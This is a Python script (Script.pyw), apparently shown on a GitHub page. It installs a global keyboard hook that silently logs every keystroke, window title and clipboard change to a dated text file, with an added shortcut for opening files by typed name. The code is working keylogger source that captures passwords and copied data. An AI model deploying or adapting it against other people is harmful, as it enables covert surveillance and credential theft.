/
Script.pyw
109 lines (84 loc) · 3 KB
/
Script.pyw
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
import pyHook, pythoncom, sys, logging,os, pyperclip, httplib, urllib, getpass, shutil, pickle
from datetime import datetime
grph = pickle.load(open("datadict.p","rb"))
file_log = datetime.now().strftime('%y%m%w%d')+".txt"
line_buff=""
window_buff=""
filecheck=False
filename=""
conf=False
sub=[]
previouscopy=""
def OnKeyboardEvent(event):
global line_buff
global window_buff
global filecheck
global filename
global conf
global sub
global previouscopy
logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
ky=event.Ascii
if(not event.WindowName == window_buff and not event.WindowName==None):
window_buff=event.WindowName
line_buff+="\n"
line_buff+=datetime.now().strftime('%X')+"\t"
line_buff+=event.WindowName
line_buff+="\n"
logging.log(10,line_buff)
line_buff=""
#### Check if user needs file/folder opened
if(len(line_buff)>3):
if((line_buff[-1]+line_buff[-2]+line_buff[-3]+line_buff[-4])==">>>>"):
filecheck=True
#### Deal with limited conflicts in filename
if(conf):
os.system("taskkill /im notepad.exe")
if(ky>47 and ky<58):
os.startfile(sub[int(chr(ky))]+"\\"+filename)
filename=""
conf=False
if((not (pyperclip.paste() == previouscopy)) and (pyperclip.paste() != "")):
previouscopy=pyperclip.paste()
line_buff+="[Copied data: "+pyperclip.paste()+"]"
#### Check if file/folder name exists and open
if(filecheck):
if(ky > 31 and ky < 127):
if(not chr(ky)=="<"):
filename += chr(ky)
else:
try:
sub=grph[filename]
except:
sub=[]
if(len(sub)==1):
os.startfile(sub[0]+"\\"+filename)
filename=""
elif(len(sub)<=10 and len(sub)>1):
txt="Enter Numbered FilePath to Open\n\n"
f=open("Conflicts.txt","w")
for i in range(len(sub)):
txt+=str(i)+"- "+sub[i]+"\\"+filename+"\n"
f.write(txt)
f.close()
os.startfile("Conflicts.txt")
os.startfile("Conflicts.txt")
conf=True
else:
filename=""
filecheck=False
#### Update linebuff with event
if(ky > 31 and ky < 127):
line_buff += chr(ky)
return True
if(ky == 13):
line_buff+="\n"
return True
if(event.Ascii == 8):
line_buff = line_buff[:-1]
return True
return True
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()